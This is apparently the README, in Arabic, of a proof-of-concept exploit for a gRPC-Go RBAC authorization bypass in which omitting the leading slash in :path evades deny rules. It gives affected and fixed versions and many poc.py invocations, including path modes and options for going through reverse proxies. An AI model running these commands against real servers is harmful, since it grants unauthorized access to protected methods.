
تجاوز سياسة التخويل في gRPC-Go RBAC عبر غياب الشرطة المائلة في `:path` (تجاوز المصادقة)
تجاوز سياسة تفويض RBAC في gRPC-Go عبر غياب الشرطة المائلة في :path (تجاوز المصادقة)
تنفّذ حزمة authz في google.golang.org/grpc تفويض RBAC (التحكم في الوصول القائم على الأدوار) على مستوى SDK باستخدام قواعد الرفض والسماح تُطابَق مع الترويسة الزائفة :path. تخزّن طبقة نقل خادم HTTP/2 القيمة الخام :path الواردة من العميل دون التحقق من أنها تبدأ بـ /. وتقوم طبقة التوجيه (handleStream) بتطبيع المسار قبل الإرسال، لكن محرك RBAC يقرأ القيمة ما قبل التطبيع من السياق عبر grpc.Method(ctx).
تُكتب قواعد الرفض بصيغة /Service/Method (بشرطة مائلة بادئة). يؤدي إرسال :path = "Service/Method" (بدون شرطة مائلة) إلى إخفاق قاعدة الرفض في مقارنة الحرف الأول. عندها تُفعَّل قاعدة السماح الافتراضية ويتم تنفيذ الطريقة المحمية.
أي خادم gRPC يستخدم authz.NewStatic() أو authz.NewFileWatcher() مع قواعد الرفض يكون عرضة للثغرة. يكفي عميل HTTP/2 خام (Python h2 أو curl --http2 أو أي كاتب إطارات مخصص) لاستغلالها — دون الحاجة إلى بيانات اعتماد أو حالة سابقة.
أظهر التحقق المباشر ضد grpc-go v1.71.0 حالة gRPC 0 (OK) على AdminMethod المُدرج في قائمة الرفض عند حذف الشرطة المائلة البادئة، بينما أعادت نفس الاستدعاء بالشرطة المائلة المعيارية الحالة 7 (PermissionDenied).
المتأثر: google.golang.org/grpc < v1.79.3. أُصلحت في v1.79.3 (PR #8981).
# Install the Python HTTP/2 dependency:
pip install h2
# Against an existing vulnerable gRPC server:
python3 poc.py --host <HOST> --port <PORT>
python3 poc.py --host <HOST> --port <PORT> --service MyService --method SecretMethod
# When TCP destination and HTTP/2 authority differ:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
--service MyService --method SecretMethod
# Canonical upstream malformed path:
python3 poc.py --host <HOST> --port <PORT> --path-mode no-slash
# Reverse-proxy deployments that preserve a double slash before grpc_pass:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
--path-mode double-slash --service MyService --method SecretMethod
# Literal :path value when you already know the backend path shape:
python3 poc.py --host <VHOST> --connect-host <IP> --path-mode custom \
--attack-path '//MyService/SecretMethod'
# Save a decoded successful attack response for follow-on manual use:
python3 poc.py --host <HOST> --port <PORT> --output-response /tmp/grpc-response.txt
يتحكم --host في مضيف :authority الخاص بـ HTTP/2 ما لم يتم ضبط --authority. ويتحكم --connect-host في وجهة TCP. وهذا مفيد في إعدادات المضيف الافتراضي أو الوكلاء العكسيين حيث يختلف عنوان IP القابل للوصول عن سلطة الخلفية المُوجَّه إليها.
السيناريو الأساسي لدى grpc-go هو --path-mode no-slash. أما double-slash وcustom فهما أداتان مساعدتان عامتان للبيئات التي يمرر فيها وكيل وسيط شكلاً مختلفاً من المسارات المشوّهة إلى الخلفية المعرضة للثغرة.
h2 (pip install h2)authz مع قواعد الرفض| الملف | الوصف |
|---|---|
poc.py | PoC بلغة بايثون — يرسل 3 استدعاءات HTTP/2 خام (خط أساس/هجوم/تحكم) لإثبات التجاوز |
README.md | تفاصيل الثغرة وأمثلة الاستخدام والمراجع |
LICENSE | رخصة GPLv3 |
صدر هذا المشروع بموجب رخصة GNU GPLv3.
تم توفيره لأغراض البحث الأمني الدفاعي والتعليم والاختبار المصرّح به. لا تستخدم هذا الكود ضد أنظمة أو خدمات دون إذن صريح من المالك.
قد ينتهك الاستخدام غير المصرّح به القانون المعمول به. لا يمنح المؤلفون إذناً لاختبار أنظمة الأطراف الثالثة ولا يتحملون مسؤولية إساءة الاستخدام.
راجع ملف LICENSE لشروط الضمان والمسؤولية.